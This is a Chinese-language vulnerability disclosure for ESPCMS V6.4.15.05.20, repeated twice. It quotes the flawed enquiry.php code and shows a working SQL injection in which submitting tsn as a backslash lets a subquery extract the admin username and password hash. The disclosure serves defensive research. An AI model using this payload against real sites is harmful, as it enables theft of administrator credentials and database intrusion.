VULHUB ™

### 简要描述： 版本信息：V6.4.15.05.20 UTF8 正式版 更新时间：2015-05-21 00:05:12 软件大小：7.67MB ### 详细说明： 在enquiry.php中 ``` $ptitle = $this->fun->accept('ptitle', 'P'); $tsn = $this->fun->accept('tsn', 'P'); $did = $this->fun->accept('did', 'P'); if (empty($did) || empty($amount) || empty($ptitle)) { $enquirylink = $this->get_link('enquiry', array(), admin_LNG); $this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']); } if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } $enquirysn = date('YmdHis') . rand(100, 9999); $db_table = db_prefix . 'enquiry'; $db_table2 = db_prefix . 'enquiry_info'; $addtime = time(); $db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime'; $db_values =...

### 简要描述： 版本信息：V6.4.15.05.20 UTF8 正式版 更新时间：2015-05-21 00:05:12 软件大小：7.67MB ### 详细说明： 在enquiry.php中 ``` $ptitle = $this->fun->accept('ptitle', 'P'); $tsn = $this->fun->accept('tsn', 'P'); $did = $this->fun->accept('did', 'P'); if (empty($did) || empty($amount) || empty($ptitle)) { $enquirylink = $this->get_link('enquiry', array(), admin_LNG); $this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']); } if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } $enquirysn = date('YmdHis') . rand(100, 9999); $db_table = db_prefix . 'enquiry'; $db_table2 = db_prefix . 'enquiry_info'; $addtime = time(); $db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime'; $db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0"; $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')'); $insert_id = $this->db->insert_id(); $db_values = ''; $arraycount = count($did) - 1; foreach ($did as $key => $value) { $value = intval($value); $amount[$key] = intval($amount[$key]); if ($key == $arraycount) { $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')"; } else { $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),"; } } ``` 这里会把提交的数据转义，但是当$tsn不是数组的时候是这样的 $temp = "wooyun" $temp[0]的值为w playload构造： 直接提交$tsn=\ 截到的sql语句是 ``` 2015/6/7 15:01INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (31,33,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#',1,'') ``` [<img src="https://images.seebug.org/upload/201506/0715080655dce1e87c4773ed4525e31ab7291b9f.jpg" alt="360截图20150607150751138.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/0715080655dce1e87c4773ed4525e31ab7291b9f.jpg) ### 漏洞证明： 在enquiry.php中 ``` $ptitle = $this->fun->accept('ptitle', 'P'); $tsn = $this->fun->accept('tsn', 'P'); $did = $this->fun->accept('did', 'P'); if (empty($did) || empty($amount) || empty($ptitle)) { $enquirylink = $this->get_link('enquiry', array(), admin_LNG); $this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']); } if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } $enquirysn = date('YmdHis') . rand(100, 9999); $db_table = db_prefix . 'enquiry'; $db_table2 = db_prefix . 'enquiry_info'; $addtime = time(); $db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime'; $db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0"; $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')'); $insert_id = $this->db->insert_id(); $db_values = ''; $arraycount = count($did) - 1; foreach ($did as $key => $value) { $value = intval($value); $amount[$key] = intval($amount[$key]); if ($key == $arraycount) { $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')"; } else { $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),"; } } ``` 这里会把提交的数据转义，但是当$tsn不是数组的时候是这样的 $temp = "wooyun" $temp[0]的值为w playload构造： 直接提交$tsn=\ 截到的sql语句是 ``` 2015/6/7 15:01INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (31,33,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#',1,'') ``` [<img src="https://images.seebug.org/upload/201506/0715080655dce1e87c4773ed4525e31ab7291b9f.jpg" alt="360截图20150607150751138.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/0715080655dce1e87c4773ed4525e31ab7291b9f.jpg)